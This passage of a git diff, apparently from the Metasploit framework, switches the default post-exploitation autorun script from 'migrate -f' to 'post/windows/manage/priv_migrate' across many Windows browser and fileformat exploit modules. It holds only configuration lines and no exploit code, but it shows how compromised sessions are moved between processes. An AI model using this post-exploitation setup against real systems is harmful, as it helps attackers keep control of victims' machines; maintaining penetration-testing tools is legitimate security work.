'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_reduceright.rb b/modules/exploits/windows/browser/mozilla_reduceright.rb index 2a78db1bb5..1e3d030aa6 100644 --- a/modules/exploits/windows/browser/mozilla_reduceright.rb +++ b/modules/exploits/windows/browser/mozilla_reduceright.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms05_054_onload.rb b/modules/exploits/windows/browser/ms05_054_onload.rb index 9027e3b800..29b047312a 100644 --- a/modules/exploits/windows/browser/ms05_054_onload.rb +++ b/modules/exploits/windows/browser/ms05_054_onload.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb index fb953019b4..e3d674c967 100644 --- a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb +++ b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb index 5d223c0b62..f1351ca547 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb index c8c48f817f..a3acec9c72 100644 --- a/modules/exploits/windows/browser/ms10_002_ie_object.rb +++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb index 3bc77c655b..cfd43a5b1a 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb @@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb index 205ab89161..4735af705f 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb index a0d8c78154..6866f86857 100644 --- a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb +++ b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => %w{ win }, 'Targets' => diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index fa32a72eb7..adecbbaa0e 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb index 00a7558b92..6ad6f0d3f7 100644 --- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb +++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb @@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb index 8d6ebad0b1..e6e9341fee 100644 --- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb +++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms11_081_option.rb b/modules/exploits/windows/browser/ms11_081_option.rb index b31eaf3ef2..e5b79c692f 100644 --- a/modules/exploits/windows/browser/ms11_081_option.rb +++ b/modules/exploits/windows/browser/ms11_081_option.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms11_093_ole32.rb b/modules/exploits/windows/browser/ms11_093_ole32.rb index b382a1498c..0ce8917f60 100644 --- a/modules/exploits/windows/browser/ms11_093_ole32.rb +++ b/modules/exploits/windows/browser/ms11_093_ole32.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index 16cec1843d..1e4148a5fe 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb index af516188b1..bd21e67a57 100644 --- a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb +++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms12_037_same_id.rb b/modules/exploits/windows/browser/ms12_037_same_id.rb index ae82b71a96..8e1aa2f595 100644 --- a/modules/exploits/windows/browser/ms12_037_same_id.rb +++ b/modules/exploits/windows/browser/ms12_037_same_id.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb index 66098c6c37..da1bca2765 100644 --- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb index d766b0638d..a9a55bf86b 100644 --- a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb +++ b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'EXITFUNC' => 'thread' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb index 09200f72af..9aace12737 100644 --- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb +++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index 55980c503d..9aff17a110 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, # Bug was patched in July 2013. Tsai was the first to publish the bug. diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index fc2563ea71..bc1a43968d 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "Jun 27 2013", diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index 6178bc76a8..ea4b88d0fd 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -72,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "Sep 10 2013", diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 6ee1ddd0da..e635e9d0f5 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -76,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { #'PrependMigrate' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, # Jsunpack first received a sample to analyze on Sep 12 2013. diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb index 136025b1a0..04a9053d34 100644 --- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false }, 'Privileged' => false, diff --git a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb index 5b709aacba..8905a75dc4 100644 --- a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb +++ b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false }, 'Targets' => diff --git a/modules/exploits/windows/browser/ms14_012_textrange.rb b/modules/exploits/windows/browser/ms14_012_textrange.rb index 5b2f00c98e..8b62789967 100644 --- a/modules/exploits/windows/browser/ms14_012_textrange.rb +++ b/modules/exploits/windows/browser/ms14_012_textrange.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'Retries' => false, # You're too kind, tab recovery, I only need 1 shell. - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday 'DefaultTarget' => 0)) diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index dac7e039f8..d55c8d119f 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index a61d88ca68..98709c17f2 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ntr_activex_check_bof.rb b/modules/exploits/windows/browser/ntr_activex_check_bof.rb index 611029ad99..a309616e1f 100644 --- a/modules/exploits/windows/browser/ntr_activex_check_bof.rb +++ b/modules/exploits/windows/browser/ntr_activex_check_bof.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb index e943b11db0..18cdbcf0f9 100644 --- a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb +++ b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb index f4cccba075..57f35dfbae 100644 --- a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb +++ b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb index 9335d80815..9d51003aa1 100644 --- a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb +++ b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f -k' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb index 7184ac812a..4bb79207f8 100644 --- a/modules/exploits/windows/browser/ovftool_format_string.rb +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/pcvue_func.rb b/modules/exploits/windows/browser/pcvue_func.rb index d4018ccb1e..7d067b8eb4 100644 --- a/modules/exploits/windows/browser/pcvue_func.rb +++ b/modules/exploits/windows/browser/pcvue_func.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb index af452faef1..a9ed766c59 100644 --- a/modules/exploits/windows/browser/quickr_qp2_bof.rb +++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb index 5b81c4d16d..1b07abfa48 100644 --- a/modules/exploits/windows/browser/realplayer_qcp.rb +++ b/modules/exploits/windows/browser/realplayer_qcp.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/safari_xslt_output.rb b/modules/exploits/windows/browser/safari_xslt_output.rb index 2397e4d9f4..4a1686f131 100644 --- a/modules/exploits/windows/browser/safari_xslt_output.rb +++ b/modules/exploits/windows/browser/safari_xslt_output.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb index 057ff83b3c..53ac3660ed 100644 --- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb +++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb index 73ca64f4bd..571f5785ce 100644 --- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index f950ccbaac..a0c78377bb 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -74,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "May 30 2013", diff --git a/modules/exploits/windows/browser/teechart_pro.rb b/modules/exploits/windows/browser/teechart_pro.rb index 4540017403..84ee5ad5ef 100644 --- a/modules/exploits/windows/browser/teechart_pro.rb +++ b/modules/exploits/windows/browser/teechart_pro.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index 4544396f52..1d2957285a 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb index 3f80edb8c0..1ae1aa5fda 100644 --- a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb +++ b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb index aafaccaa1b..71c60f312d 100644 --- a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb +++ b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => false, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/vlc_amv.rb b/modules/exploits/windows/browser/vlc_amv.rb index e414e6fa6f..833f151a25 100644 --- a/modules/exploits/windows/browser/vlc_amv.rb +++ b/modules/exploits/windows/browser/vlc_amv.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/vlc_mms_bof.rb b/modules/exploits/windows/browser/vlc_mms_bof.rb index 2e33ace44f..bc823fdf71 100644 --- a/modules/exploits/windows/browser/vlc_mms_bof.rb +++ b/modules/exploits/windows/browser/vlc_mms_bof.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/webex_ucf_newobject.rb b/modules/exploits/windows/browser/webex_ucf_newobject.rb index 6e337c99a7..d624fa9a03 100644 --- a/modules/exploits/windows/browser/webex_ucf_newobject.rb +++ b/modules/exploits/windows/browser/webex_ucf_newobject.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb index ea7cda3260..73e9252478 100644 --- a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb +++ b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'BrowserRequirements' => { diff --git a/modules/exploits/windows/browser/wmi_admintools.rb b/modules/exploits/windows/browser/wmi_admintools.rb index e73dab9d78..e847a7952b 100644 --- a/modules/exploits/windows/browser/wmi_admintools.rb +++ b/modules/exploits/windows/browser/wmi_admintools.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb index 07d4cd0d81..8c1ba38bf0 100644 --- a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb +++ b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb index 3a30a85b77..1ddbe7e53e 100644 --- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb +++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index b552117821..8c5e737b33 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'DisablePayloadHandler' => 'true', }, 'Payload' => diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb index 6bc77221ec..e41db7aeae 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 